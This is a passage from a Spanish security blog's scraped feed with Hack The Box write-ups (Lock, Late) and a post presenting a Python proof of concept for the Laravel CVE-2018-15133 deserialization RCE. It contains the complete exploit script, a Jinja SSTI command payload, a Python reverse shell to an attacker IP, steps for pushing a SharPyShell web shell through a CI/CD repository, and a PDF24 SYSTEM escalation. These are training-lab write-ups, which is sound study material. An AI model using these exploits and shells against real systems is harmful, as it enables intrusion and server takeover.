criptográficas. Entre las funciones de esta clave esta el cifrado/descifrado de datos incluyendo datos de sesión y cookies, garantizando su integridad y evitando la manipulación por parte del cliente. Tokens de restablecimiento de contraseña. La APP_KEY es fundamental para mantener la seguridad de su aplicación Laravel al proteger los datos confidenciales tanto en tránsito como en reposo. Garantizar que los datos cifrados no puedan ser manipulados o modificados sin la clave correcta.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","date":"19 noviembre 2025","externalUrl":null,"permalink":"/htb/maquinas/academy/","section":"Hack The Box","summary":"","title":"Academy","type":"maquinas"},{"content":"","date":"19 noviembre 2025","externalUrl":null,"permalink":"/tags/aes/","section":"Tags","summary":"","title":"AES","type":"tags"},{"content":"","date":"19 noviembre 2025","externalUrl":null,"permalink":"/tags/burpsuite/","section":"Tags","summary":"","title":"Burpsuite","type":"tags"},{"content":"","date":"19 noviembre 2025","externalUrl":null,"permalink":"/tags/cve-2018-15133/","section":"Tags","summary":"","title":"CVE-2018-15133","type":"tags"},{"content":" Exploit de Ejecución Remota en Laravel: CVE-2018-15133 y su PoC en Python # Este post explica detalladamente una Prueba de Concepto (PoC) de un exploit para la vulnerabilidad CVE-2018-15133 en aplicaciones Laravel. Esta falla permite la ejecución remota de código (RCE) aprovechando la deserialización insegura, siempre y cuando el atacante tenga acceso a la clave APP_KEY utilizada por Laravel para cifrar las sesiones.\n¿Qué es CVE-2018-15133? # Esta vulnerabilidad afecta a Laravel Framework en versiones hasta la 5.5.40 y desde la 5.6.0 hasta la 5.6.29. El problema radica en que el framework deserializa automáticamente las sesiones cifradas sin una validación adecuada de la integridad, particularmente en el valor del token X-XSRF-TOKEN, lo que puede permitir a un atacante ejecutar código PHP arbitrario en el servidor vulnerable.​\n¿Cómo funciona la vulnerabilidad? # Laravel cifra las sesiones utilizando AES (AES-128-CBC o AES-256-CBC), generando un vector de inicialización (IV) aleatorio, el valor cifrado y un MAC (código de autenticación) para verificar la integridad de estos datos.\nCuando un usuario envía una cookie de sesión, Laravel descifra el contenido y automáticamente deserializa los datos.\nSi un atacante conoce la clave APP_KEY, puede construir un payload especialmente diseñado que, al ser deserializado, activa funciones mágicas de PHP (__destruct(), __wakeup()) para ejecutar código arbitrario en el servidor.\nEsta ejecución ocurre porque el proceso de deserialización no valida que el data recibido no haya sido manipulado antes de descifrar y ejecutar.​\nPrueba de Concepto en Python El exploit escrito en Python realiza estas tareas principales:\nCreación del payload malicioso Se invoca la herramienta PHPGGC, que genera un payload serializado basado en gadgets de Laravel que ejecutan un comando en el sistema operativo: cmd = [\u0026#34;./phpggc/phpggc\u0026#34;, \u0026#34;Laravel/RCE5\u0026#34;, f\u0026#34;system(\u0026#39;{Comando}\u0026#39;);\u0026#34;, \u0026#34;-b\u0026#34;] Este payload se decodifica de base64 a binario listo para cifrar.​ Cifrado del payload con la APP_KEY de Laravel La clave APP_KEY se procesa para decodificarla de base64 y se usa para cifrar el payload en modo AES-CBC con un vector de inicialización (IV) generado aleatoriamente. Se aplica padding PKCS7 antes de cifrar. Luego se calcula un MAC HMAC-SHA256 para garantizar la integridad del mensaje cifrado. Los datos cifrados, el IV y el MAC se empaquetan en un JSON que se convierte a base64 para ser enviado.​\nEnvío del payload malicioso al servidor Se usa curl para enviar una petición HTTP con la cookie laravel_session que contiene el payload cifrado. El servidor Laravel, al recibirla, descifra, deserializa y ejecuta el código malicioso contenido, ejecutando el comando especificado.​ Código clave Python explicado\ndef laravel_encrypt(data, key): if key.startswith(\u0026#34;base64:\u0026#34;): key = key[7:] key += \u0026#34;=\u0026#34; * (-len(key) % 4) key = base64.b64decode(key) iv = os.urandom(16) cipher = AES.new(key, AES.MODE_CBC, iv) ciphertext = cipher.encrypt(pad(data, AES.block_size)) iv_b64 = base64.b64encode(iv).decode() value_b64 = base64.b64encode(ciphertext).decode() payload = (iv_b64 + value_b64).encode() mac = HMAC.new(key, payload, SHA256).hexdigest() json_data = json.dumps({\u0026#34;iv\u0026#34;: iv_b64, \u0026#34;value\u0026#34;: value_b64, \u0026#34;mac\u0026#34;: mac}) return base64.b64encode(json_data.encode()).decode() Decodifica la clave.\nGenera IV y cifra el payload.\nGenera MAC para autenticación.\nEmpaqueta los valores en JSON codificado en base64.\nUso del script de ejemplo # python exploit.py \u0026#34;base64:dGhpc2lzYXNlY3JldGtleQ==\u0026#34; \u0026#34;whoami\u0026#34; \u0026#34;http://target.htb\u0026#34; Esto generará una carga útil que ejecutará el comando whoami en el servidor vulnerable al ser deserializado.​\nImportancia de proteger la APP_KEY # Sin acceso a esta clave, la explotación no es posible. Por ello, mantener la APP_KEY segura y no exponer archivos .env o fuentes que la contengan es crucial para la seguridad en Laravel. También se recomienda actualizar a versiones posteriores donde esta vulnerabilidad está corregida.​\nScript # import argparse import base64 import json import os import subprocess import sys from Crypto.Cipher import AES from Crypto.Hash import HMAC, SHA256 from Crypto.Util.Padding import pad def main(): parser = argparse.ArgumentParser(description=\u0026#34;Script que recibe dos argumentos.\u0026#34;) parser.add_argument(\u0026#34;Laravel_Key\u0026#34;, type=str, help=\u0026#34;Key de laravel en base 64\u0026#34;) parser.add_argument(\u0026#34;Comando\u0026#34;, type=str, help=\u0026#34;Comando a ejecutar\u0026#34;) parser.add_argument( \u0026#34;Dominio\u0026#34;, type=str, help=\u0026#34;Dominio a atacar por ejemplo \u0026#39;http://lorax.htb\u0026#39;\u0026#34; ) args = parser.parse_args() payload = crear_Payload(args.Comando) json = laravel_encrypt(payload, args.Laravel_Key) print(json) enviarPayload(json, args.Dominio) def crear_Payload(Comando): cmd = [\u0026#34;./phpggc/phpggc\u0026#34;, \u0026#34;Laravel/RCE5\u0026#34;, f\u0026#34;system(\u0026#39;{Comando}\u0026#39;);\u0026#34;, \u0026#34;-b\u0026#34;] payload_b64 = subprocess.check_output(cmd) payload_b64 = payload_b64.strip() payload_b64 = payload_b64.decode(\u0026#34;utf-8\u0026#34;) payload = base64.b64decode(payload_b64) print(payload) return payload def laravel_encrypt(data, key): if key.startswith(\u0026#34;base64:\u0026#34;): key = key[7:] key += \u0026#34;=\u0026#34; * (-len(key) % 4) try: key = base64.b64decode(key) except: print(\u0026#34;[-] La llave proporcionada no es Base64 vÃƒÂ¡lido.\u0026#34;) sys.exit(1) iv = os.urandom(16) cipher = AES.new(key, AES.MODE_CBC, iv) ciphertext = cipher.encrypt(pad(data, AES.block_size)) iv_b64 = base64.b64encode(iv).decode() value_b64 = base64.b64encode(ciphertext).decode() payload = (iv_b64 + value_b64).encode() mac = HMAC.new(key, payload, SHA256).hexdigest() json_data = json.dumps({\u0026#34;iv\u0026#34;: iv_b64, \u0026#34;value\u0026#34;: value_b64, \u0026#34;mac\u0026#34;: mac}) return base64.b64encode(json_data.encode()).decode() def enviarPayload(json, dominio): cmd = [\u0026#34;curl\u0026#34;, \u0026#34;-s\u0026#34;, \u0026#34;-H\u0026#34;, f\u0026#34;Cookie: laravel_session={json}\u0026#34;, dominio] resultado = subprocess.check_output(cmd) print(resultado) # system.so(curl -s -H \u0026#34;Cookie: laravel_session=$(php gen_serialized.php);\u0026#34; http://dev-staging-01.academy.) if __name__ == \u0026#34;__main__\u0026#34;: main() https://github.com/Loaxert/CVE-2018-15133-PoC ","date":"19 noviembre 2025","externalUrl":null,"permalink":"/blog/cve-2018-15133/","section":"Blog","summary":"","title":"CVE-2018-15133 PoC","type":"blog"},{"content":"","date":"19 noviembre 2025","externalUrl":null,"permalink":"/tags/laravel/","section":"Tags","summary":"","title":"Laravel","type":"tags"},{"content":"","date":"19 noviembre 2025","externalUrl":null,"permalink":"/tags/poc/","section":"Tags","summary":"","title":"PoC","type":"tags"},{"content":"","date":"19 noviembre 2025","externalUrl":null,"permalink":"/tags/sudoers/","section":"Tags","summary":"","title":"Sudoers","type":"tags"},{"content":"","date":"15 noviembre 2025","externalUrl":null,"permalink":"/tags/asp.net/","section":"Tags","summary":"","title":"ASP.NET","type":"tags"},{"content":"","date":"15 noviembre 2025","externalUrl":null,"permalink":"/tags/gitea/","section":"Tags","summary":"","title":"Gitea","type":"tags"},{"content":" Enumeración # nmap -p -sVC -A IP PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 | http-methods: |_ Potentially risky methods: TRACE |_http-title: Lock - Index |_http-server-header: Microsoft-IIS/10.0 445/tcp open microsoft-ds? 3000/tcp open http Golang net/http server |_http-title: Gitea: Git with a cup of tea | fingerprint-strings: | GenericLines, Help, RTSPRequest: | HTTP/1.1 400 Bad Request | Content-Type: text/plain; charset=utf-8 | Connection: close | Request | GetRequest: | HTTP/1.0 200 OK | Cache-Control: max-age=0, private, must-revalidate, no-transform | Content-Type: text/html; charset=utf-8 | Set-Cookie: i_like_gitea=b222d55be5dd3f16; Path=/; HttpOnly; SameSite=Lax | Set-Cookie: _csrf=UTd-eqEvepSTKH1yBM-NKWqcVIo6MTc2MzI2MDMyOTM0OTIxMjcwMA; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax | X-Frame-Options: SAMEORIGIN | Date: Sun, 16 Nov 2025 02:32:09 GMT | \u0026lt;!DOCTYPE html\u0026gt; | \u0026lt;html lang=\u0026#34;en-US\u0026#34; class=\u0026#34;theme-auto\u0026#34;\u0026gt; | \u0026lt;head\u0026gt; | \u0026lt;meta name=\u0026#34;viewport\u0026#34; content=\u0026#34;width=device-width, initial-scale=1\u0026#34;\u0026gt; | \u0026lt;title\u0026gt;Gitea: Git with a cup of tea\u0026lt;/title\u0026gt; | \u0026lt;link rel=\u0026#34;manifest\u0026#34; href=\u0026#34;data:application/json;base64,eyJuYW1lIjoiR2l0ZWE6IEdpdCB3aXRoIGEgY3VwIG9mIHRlYSIsInNob3J0X25hbWUiOiJHaXRlYTogR2l0IHdpdGggYSBjdXAgb2YgdGVhIiwic3RhcnRfdXJsIjoiaHR0cDovL2xvY2FsaG9zdDozMDAwLyIsImljb25zIjpbeyJzcmMiOiJodHRwOi8vbG9jYWxob3N0OjMwMDAvYXNzZXRzL2ltZy9sb2dvLnBuZyIsInR5cGUiOiJpbWFnZS9wbmciLCJzaXplcyI6IjU | HTTPOptions: | HTTP/1.0 405 Method Not Allowed | Allow: HEAD | Allow: GET | Cache-Control: max-age=0, private, must-revalidate, no-transform | Set-Cookie: i_like_gitea=983d065d23599b29; Path=/; HttpOnly; SameSite=Lax | Set-Cookie: _csrf=_-EZloaGKIUaGj-CoM_Fg6jYogE6MTc2MzI2MDMyOTg0MTQ3NDAwMA; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax | X-Frame-Options: SAMEORIGIN | Date: Sun, 16 Nov 2025 02:32:09 GMT |_ Content-Length: 0 3389/tcp open ms-wbt-server Microsoft Terminal Services | rdp-ntlm-info: | Target_Name: LOCK | NetBIOS_Domain_Name: LOCK | NetBIOS_Computer_Name: LOCK | DNS_Domain_Name: Lock | DNS_Computer_Name: Lock | Product_Version: 10.0.20348 |_ System_Time: 2025-11-16T02:32:38+00:00 |_ssl-date: 2025-11-16T02:33:19+00:00; +1s from scanner time. | ssl-cert: Subject: commonName=Lock | Not valid before: 2025-11-14T04:48:48 |_Not valid after: 2026-05-16T04:48:48 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port3000-TCP:V=7.95%I=7%D=11/15%Time=691937A7%P=x86_64-pc-linux-gnu%r(G SF:enericLines,67,\u0026#34;HTTP/1\\.1\\x20400\\x20Bad\\x20Request\\r\\nContent-Type:\\x20 SF:text/plain;\\x20charset=utf-8\\r\\nConnection:\\x20close\\r\\n\\r\\n400\\x20Bad\\ SF:x20Request\u0026#34;)%r(GetRequest,3000,\u0026#34;HTTP/1\\.0\\x20200\\x20OK\\r\\nCache-Control SF::\\x20max-age=0,\\x20private,\\x20must-revalidate,\\x20no-transform\\r\\nCont SF:ent-Type:\\x20text/html;\\x20charset=utf-8\\r\\nSet-Cookie:\\x20i_like_gitea SF:=b222d55be5dd3f16;\\x20Path=/;\\x20HttpOnly;\\x20SameSite=Lax\\r\\nSet-Cooki SF:e:\\x20_csrf=UTd-eqEvepSTKH1yBM-NKWqcVIo6MTc2MzI2MDMyOTM0OTIxMjcwMA;\\x20 SF:Path=/;\\x20Max-Age=86400;\\x20HttpOnly;\\x20SameSite=Lax\\r\\nX-Frame-Optio SF:ns:\\x20SAMEORIGIN\\r\\nDate:\\x20Sun,\\x2016\\x20Nov\\x202025\\x2002:32:09\\x20 SF:GMT\\r\\n\\r\\n\u0026lt;!DOCTYPE\\x20html\u0026gt;\\n\u0026lt;html\\x20lang=\\\u0026#34;en-US\\\u0026#34;\\x20class=\\\u0026#34;theme SF:-auto\\\u0026#34;\u0026gt;\\n\u0026lt;head\u0026gt;\\n\\t\u0026lt;meta\\x20name=\\\u0026#34;viewport\\\u0026#34;\\x20content=\\\u0026#34;width=devic SF:e-width,\\x20initial-scale=1\\\u0026#34;\u0026gt;\\n\\t\u0026lt;title\u0026gt;Gitea:\\x20Git\\x20with\\x20a\\x20 SF:cup\\x20of\\x20tea\u0026lt;/title\u0026gt;\\n\\t\u0026lt;link\\x20rel=\\\u0026#34;manifest\\\u0026#34;\\x20href=\\\u0026#34;data:ap SF:plication/json;base64,eyJuYW1lIjoiR2l0ZWE6IEdpdCB3aXRoIGEgY3VwIG9mIHRlY SF:SIsInNob3J0X25hbWUiOiJHaXRlYTogR2l0IHdpdGggYSBjdXAgb2YgdGVhIiwic3RhcnRf SF:dXJsIjoiaHR0cDovL2xvY2FsaG9zdDozMDAwLyIsImljb25zIjpbeyJzcmMiOiJodHRwOi8 SF:vbG9jYWxob3N0OjMwMDAvYXNzZXRzL2ltZy9sb2dvLnBuZyIsInR5cGUiOiJpbWFnZS9wbm SF:ciLCJzaXplcyI6IjU\u0026#34;)%r(Help,67,\u0026#34;HTTP/1\\.1\\x20400\\x20Bad\\x20Request\\r\\nCo SF:ntent-Type:\\x20text/plain;\\x20charset=utf-8\\r\\nConnection:\\x20close\\r\\n SF:\\r\\n400\\x20Bad\\x20Request\u0026#34;)%r(HTTPOptions,197,\u0026#34;HTTP/1\\.0\\x20405\\x20Meth SF:od\\x20Not\\x20Allowed\\r\\nAllow:\\x20HEAD\\r\\nAllow:\\x20GET\\r\\nCache-Contro SF:l:\\x20max-age=0,\\x20private,\\x20must-revalidate,\\x20no-transform\\r\\nSet SF:-Cookie:\\x20i_like_gitea=983d065d23599b29;\\x20Path=/;\\x20HttpOnly;\\x20S SF:ameSite=Lax\\r\\nSet-Cookie:\\x20_csrf=_-EZloaGKIUaGj-CoM_Fg6jYogE6MTc2MzI SF:2MDMyOTg0MTQ3NDAwMA;\\x20Path=/;\\x20Max-Age=86400;\\x20HttpOnly;\\x20SameS SF:ite=Lax\\r\\nX-Frame-Options:\\x20SAMEORIGIN\\r\\nDate:\\x20Sun,\\x2016\\x20Nov SF:\\x202025\\x2002:32:09\\x20GMT\\r\\nContent-Length:\\x200\\r\\n\\r\\n\u0026#34;)%r(RTSPReq SF:uest,67,\u0026#34;HTTP/1\\.1\\x20400\\x20Bad\\x20Request\\r\\nContent-Type:\\x20text/pl SF:ain;\\x20charset=utf-8\\r\\nConnection:\\x20close\\r\\n\\r\\n400\\x20Bad\\x20Requ SF:est\u0026#34;); Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running (JUST GUESSING): Microsoft Windows 2022|2012|2016 (89%) OS CPE: cpe:/o:microsoft:windows_server_2022 cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_server_2016 Aggressive OS guesses: Microsoft Windows Server 2022 (89%), Microsoft Windows Server 2012 R2 (85%), Microsoft Windows Server 2016 (85%) Vemos un gitea en el puerto 3000 si lo revisamos veremos un repositorio publico además en los comits encontraremos un token de acceso:\nCon esta información podemos listar los repositorios que no están publicos:\ncurl \u0026#34;http://10.129.234.64:3000/api/v1/users/ellen.freeman/repos/\u0026#34; \\ -H \u0026#34;accept: application/json\u0026#34; \\ -H \u0026#34;Authorization: token 43ce39bb0bd6bc489284f2905f033ca467a6362f\u0026#34; \\ -H \u0026#34;Content-Type: application/json\u0026#34; Además del repositorio publico vemos otro llamado website:\n\u0026#34;id\u0026#34;:5, \u0026#34;owner\u0026#34;:{ \u0026#34;id\u0026#34;:2, \u0026#34;login\u0026#34;:\u0026#34;ellen.freeman\u0026#34;, \u0026#34;login_name\u0026#34;:\u0026#34;\u0026#34;, \u0026#34;full_name\u0026#34;:\u0026#34;\u0026#34;, \u0026#34;email\u0026#34;:\u0026#34;ellen.freeman@lock.vl\u0026#34;, \u0026#34;avatar_url\u0026#34;:\u0026#34;http://localhost:3000/avatar/1aea7e43e6bb8891439a37854255ed74\u0026#34;, \u0026#34;language\u0026#34;:\u0026#34;\u0026#34;, \u0026#34;is_admin\u0026#34;:false, \u0026#34;last_login\u0026#34;:\u0026#34;0001-01-01T00:00:00Z\u0026#34;, \u0026#34;created\u0026#34;:\u0026#34;2023-12-27T11:13:10-08:00\u0026#34;, \u0026#34;restricted\u0026#34;:false, \u0026#34;active\u0026#34;:false, \u0026#34;prohibit_login\u0026#34;:false, \u0026#34;location\u0026#34;:\u0026#34;\u0026#34;, \u0026#34;website\u0026#34;:\u0026#34;\u0026#34;, \u0026#34;description\u0026#34;:\u0026#34;\u0026#34;, \u0026#34;visibility\u0026#34;:\u0026#34;public\u0026#34;, \u0026#34;followers_count\u0026#34;:0, \u0026#34;following_count\u0026#34;:0, \u0026#34;starred_repos_count\u0026#34;:0, \u0026#34;username\u0026#34;:\u0026#34;ellen.freeman\u0026#34; }, \u0026#34;name\u0026#34;:\u0026#34;website\u0026#34;, \u0026#34;full_name\u0026#34;:\u0026#34;ellen.freeman/website\u0026#34;, \u0026#34;description\u0026#34;:\u0026#34;\u0026#34;, \u0026#34;empty\u0026#34;:false, \u0026#34;private\u0026#34;:true, \u0026#34;fork\u0026#34;:false, \u0026#34;template\u0026#34;:false, \u0026#34;parent\u0026#34;:null, \u0026#34;mirror\u0026#34;:false, \u0026#34;size\u0026#34;:7370, \u0026#34;language\u0026#34;:\u0026#34;CSS\u0026#34;, \u0026#34;languages_url\u0026#34;:\u0026#34;http://localhost:3000/api/v1/repos/ellen.freeman/website/languages\u0026#34;, \u0026#34;html_url\u0026#34;:\u0026#34;http://localhost:3000/ellen.freeman/website\u0026#34;, \u0026#34;url\u0026#34;:\u0026#34;http://localhost:3000/api/v1/repos/ellen.freeman/website\u0026#34;, \u0026#34;link\u0026#34;:\u0026#34;\u0026#34;, \u0026#34;ssh_url\u0026#34;:\u0026#34;ellen.freeman@localhost:ellen.freeman/website.git\u0026#34;, \u0026#34;clone_url\u0026#34;:\u0026#34;http://localhost:3000/ellen.freeman/website.git\u0026#34;, \u0026#34;original_url\u0026#34;:\u0026#34;\u0026#34;, \u0026#34;website\u0026#34;:\u0026#34;\u0026#34;, \u0026#34;stars_count\u0026#34;:0, \u0026#34;forks_count\u0026#34;:0, \u0026#34;watchers_count\u0026#34;:1, \u0026#34;open_issues_count\u0026#34;:0, \u0026#34;open_pr_counter\u0026#34;:0, \u0026#34;release_counter\u0026#34;:0, \u0026#34;default_branch\u0026#34;:\u0026#34;main\u0026#34;, \u0026#34;archived\u0026#34;:false, \u0026#34;created_at\u0026#34;:\u0026#34;2023-12-27T12:04:52-08:00\u0026#34;, \u0026#34;updated_at\u0026#34;:\u0026#34;2024-01-18T10:17:46-08:00\u0026#34;, \u0026#34;archived_at\u0026#34;:\u0026#34;1969-12-31T16:00:00-08:00\u0026#34;, \u0026#34;permissions\u0026#34;:{ \u0026#34;admin\u0026#34;:true, \u0026#34;push\u0026#34;:true, \u0026#34;pull\u0026#34;:true }, \u0026#34;has_issues\u0026#34;:true, \u0026#34;internal_tracker\u0026#34;:{ \u0026#34;enable_time_tracker\u0026#34;:true, \u0026#34;allow_only_contributors_to_track_time\u0026#34;:true, \u0026#34;enable_issue_dependencies\u0026#34;:true }, \u0026#34;has_wiki\u0026#34;:true, \u0026#34;has_pull_requests\u0026#34;:true, \u0026#34;has_projects\u0026#34;:true, \u0026#34;has_releases\u0026#34;:true, \u0026#34;has_packages\u0026#34;:true, \u0026#34;has_actions\u0026#34;:false, \u0026#34;ignore_whitespace_conflicts\u0026#34;:false, \u0026#34;allow_merge_commits\u0026#34;:true, \u0026#34;allow_rebase\u0026#34;:true, \u0026#34;allow_rebase_explicit\u0026#34;:true, \u0026#34;allow_squash_merge\u0026#34;:true, \u0026#34;allow_rebase_update\u0026#34;:true, \u0026#34;default_delete_branch_after_merge\u0026#34;:false, \u0026#34;default_merge_style\u0026#34;:\u0026#34;merge\u0026#34;, \u0026#34;default_allow_maintainer_edit\u0026#34;:false, \u0026#34;avatar_url\u0026#34;:\u0026#34;\u0026#34;, \u0026#34;internal\u0026#34;:false, \u0026#34;mirror_interval\u0026#34;:\u0026#34;\u0026#34;, \u0026#34;mirror_updated\u0026#34;:\u0026#34;0001-01-01T00:00:00Z\u0026#34;, \u0026#34;repo_transfer\u0026#34;:null } Si entramos a la URL que pertenece a el repositorio encontraremos otra URL que nos direcciona a un manual de la api: Y encontramos como listar el contenido del repositorio:\nEn el resultado de esta consulta vemos diversos archivos entre ellos un README lo podemos descargar:\nSi lo decodificamos de base 64:\n# New Project Website CI/CD integration is now active - changes to the repository will automatically be deployed to the webserver Sabiendo esto podemos clonar el repositorio e insertar una webshell que el servidor nos proporcionara además sabemos que usa ASP.NET en la pagina expuesta por el puerto 80 con wappalizer:\nVamos a estar usando este repositorio ShellASP :\ngit clone http://43ce39bb0bd6bc489284f2905f033ca467a6362f@10.129.5.142:3000/ellen.freeman/website.git git clone https://github.com/antonioCoco/SharPyShell.git cd SharPyShell pip install -r requirements.txt python3 SharPyShell.py generate -p 123 cp output/sharpyshell.aspx ../website/. cd ../website git add . git commit -m \u0026#34;nothing here\u0026#34; git push python3 SharPyShell.py interact -u http://IP/sharpyshell.aspx -p 123 Usuario # Ya con esto tenemos una shell que podemos usar en el archivo C:\\Users\\ellen.freeman\\Documents\\config.xml tenemos una contraseña encriptada si la pasamos por hash identify nos indica que puede ser un Posibles algoritmos: Base64(unhex(SHA-512($plaintext))) pero además vemos en el archivo mremoteng buscando de esa forma encontramos este github:\nRoot # Nos conectamos al RDP:\nrdesktop -u Gale.Dekarios -p ty8wnW9qCKDosXo6 10.129.5.142:3389 Apenas entramos en el escritorio vemos una aplicación PDF24 revisando en los programas instalados vemos su versión 11.15.1 buscando aplicación y versión nos damos cuenta que esta versión nos permite escalar privilegios. CVE\nLa vulnerabilidad CVE-2023-49147 en PDF24 Creator es un problema de escalación de privilegios local, que permite a un usuario con permisos limitados obtener acceso completo con privilegios de administrador del sistema (SISTEMA). Esto ocurre debido a cómo está configurado el instalador MSI de PDF24 Creator.\nCuando se usa la función de reparación del instalador MSI (con msiexec.exe), se abre una ventana visible del símbolo del sistema (cmd.exe) que corre con privilegios del usuario SISTEMA, el nivel más alto en Windows. Se puede aprovechar esto de la siguiente manera:\nIniciar la reparación del PDF24 Creator usando un comando especial con msiexec.exe, sin que aparezca una advertencia de control de cuentas de usuario (UAC). Durante la reparación, un proceso llamado pdf24-PrinterInstall.exe se ejecuta con privilegios SISTEMA y escribe en un archivo de registro específico. Se puede \u0026ldquo;bloquear\u0026rdquo; ese archivo con una herramienta especial para que la ventana del símbolo del sistema no se cierre. Luego, con una serie de acciones (como usar un navegador distinto a Edge o Internet Explorer para abrir un enlace especial y luego abrir cmd.exe desde ahí), se puede abrir una ventana de comandos totalmente funcional con privilegios SISTEMA. Esto significa que un usuario sin privilegios administrativos puede controlar completamente el sistema, pudiendo hacer cambios peligrosos o accesar datos sensibles.\nLo primero que necesitamos es poder bloquear el CMD para esto tenemos que compartirnos un archivo llamado SetOpLock.exe lo extraemos en una carpeta y nos conectamos a RDP compartiendo la carpeta.\nrdesktop -u Gale.Dekarios -p ty8wnW9qCKDosXo6 IP:3389 -r disk:linux=/carpeta/compartida Luego ejecutamos con el archivo que nos compartimos el siguiente comando:\nSetOpLock.exe \u0026#34;C:\\Program Files\\PDF24\\faxPrnInst.log\u0026#34; r Ahora vamos a iniciar el proceso como si fuéramos a reparar la aplicación:\nLe daremos a repair y esperaremos a que vaya a finalizar el proceso cuando saltara una ventana CMD.\nLe damos a Properties:\nDespués de esto escogemos el navegador Firefox y la descargamos como cmd.exe luego lo ejecutamos y tendremos una consola como Administradores.\nReferencias # https://github.com/antonioCoco/SharPyShell https://sploitus.com/exploit?id=PACKETSTORM:176206 https://github.com/haseebT/mRemoteNG-Decrypt ","date":"15 noviembre 2025","externalUrl":null,"permalink":"/htb/maquinas/lock/","section":"Hack The Box","summary":"","title":"Lock","type":"maquinas"},{"content":"","date":"15 noviembre 2025","externalUrl":null,"permalink":"/tags/rdp/","section":"Tags","summary":"","title":"RDP","type":"tags"},{"content":"","date":"14 noviembre 2025","externalUrl":null,"permalink":"/tags/crontabs/","section":"Tags","summary":"","title":"Crontabs","type":"tags"},{"content":" Enumeración # PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.6 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 02:5e:29:0e:a3:af:4e:72:9d:a4:fe:0d:cb:5d:83:07 (RSA) | 256 41:e1:fe:03:a5:c7:97:c4:d5:16:77:f3:41:0c:e9:fb (ECDSA) |_ 256 28:39:46:98:17:1e:46:1a:1e:a1:ab:3b:9a:57:70:48 (ED25519) 80/tcp open http nginx 1.14.0 (Ubuntu) |_http-server-header: nginx/1.14.0 (Ubuntu) |_http-title: Late - Best online image tools Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.19 Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Puerto 80 # Si subimos una imagen que contenga un texto visible la pagina nos devolverá un archivo txt con dicho texto dentro de el además sabemos que la pagina esta usando flask que generalmente se usa para el tratamiento de plantillas como podría ser este caso pasando el texto de la imagen a texto. Esto nos da una posible entrada a un SSTI (Server-Side-Template-Injection) esto es muy sencillo de probar si nos dirigimos a PayloadAllTheThings , vamos a subir la siguiente imagen:\nSi descargamos el archivo de texto que nos da la pagina nos damos cuenta que esta presente la vulnerabilidad:\n\u0026lt;p\u0026gt;49 \u0026lt;/p\u0026gt; Con esto en mente podemos probar varias payloads disponibles para Jinja presentes en el github.\nUsuario # {{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen(\u0026#39;COMANDO\u0026#39;).read() }} Por lo que lo que voy a hacer de mi parte es crear un archivo con una revshell python montar un servidor http hacer que la maquina victima lo descargue y posteriormente lo ejecute:\nCrear shell reversa: import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\u0026#34;IP\u0026#34;,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\u0026#34;bash\u0026#34;) Hacer que la maquina descargue la shell reversa, subimos la siguiente imagen y le damos a que la escanee: Nos ponemos en escucha con el comando nc -lvnp 4444\nHacemos que la maquina ejecute el archivo que descargo subiendo y escaneando la siguiente imagen:\nCon esto tenemos una shell está el tratamiento típico de la TTY:\nscript /dev/null -c bash Ctrl + Z stty raw -echo; fg reset xterm export TERM=xterm Root # Al no tener la contraseña del usuario actual descartamos inmediatamente sudoers debido a que aunque lo tuviéramos no lo podríamos ejecutar, lo siguiente en nuestra lista es revisar cron jobs para esto usamos los siguientes comandos:\ncat /etc/crontab Pero no encontré nada que me llamara la atención entonces empece a listar que archivos teníamos en el directorio del usuario y encontré tanto su clave publica como privada para usar en ssh, por lo que ahora nos podemos conectar por ese medio. Después de eso quise ver si había algún directorio en el PATH en el que pudiéramos escribir:\necho $PATH Con esto podemos ver que esta el directorio /usr/local/sbin revisando dentro de este directorio vemos un script llamado ssh-alert.sh:\n#!/bin/bash RECIPIENT=\u0026#34;root@late.htb\u0026#34; SUBJECT=\u0026#34;Email from Server Login: SSH Alert\u0026#34; BODY=\u0026#34; A SSH login was detected. User: $PAM_USER User IP Host: $PAM_RHOST Service: $PAM_SERVICE TTY: $PAM_TTY Date: `date` Server: `uname -a` \u0026#34; if [ ${PAM_TYPE} = \u0026#34;open_session\u0026#34; ]; then echo \u0026#34;Subject:${SUBJECT} ${BODY}\u0026#34; | /usr/sbin/sendmail ${RECIPIENT} fi Este script Bash se está disparando desde la fase open_session del flujo PAM 1 de SSH, típicamente mediante pam_exec en la configuración de /etc/pam.d/sshd o común a sesiones, y sshd es un daemon privilegiado que invoca PAM como root; por eso las variables de entorno de PAM (PAM_USER, PAM_RHOST, PAM_SERVICE, PAM_TTY, PAM_TYPE) están disponibles y los comandos del script (date, uname, y sendmail) se ejecutan con UID efectivo 0. Ademas se ejecuta cada que un usuario se loguea por ssh.\nIntente modificar el archivo y aunque aparentemente los permisos los tengo no me lo permite por lo que decidí usar [[Pspy]] para ver si había pasado algo por alto:\nY si habíamos pasado por alto algo importante el usuario root esta copiando ese archivo cada minuto y esta poniendo el comando chattr -a que quita el atributo “append-only” de un archivo o directorio en sistemas de archivos Linux que lo soportan (ext2/3/4, entre otros). El atributo append-only (+a) fuerza que el archivo solo pueda abrirse para añadir datos al final; no permite truncar, sobrescribir, renombrar ni borrar su contenido. Por lo que solo podemos añadir contenido.\nCon esto tenemos todo para poder elevar privilegios:\nAñadir las instrucciones para que root copie su /bin/bash a /tmp y le de permisos para que nosotros la podamos ejecutar como el. Ingresar por ssh usando la clave ssh que encontramos. Ejecutar la bash que nos proporciona el ataque. Lo primero es copiar la clave que nos va a ser útil para ingresar por 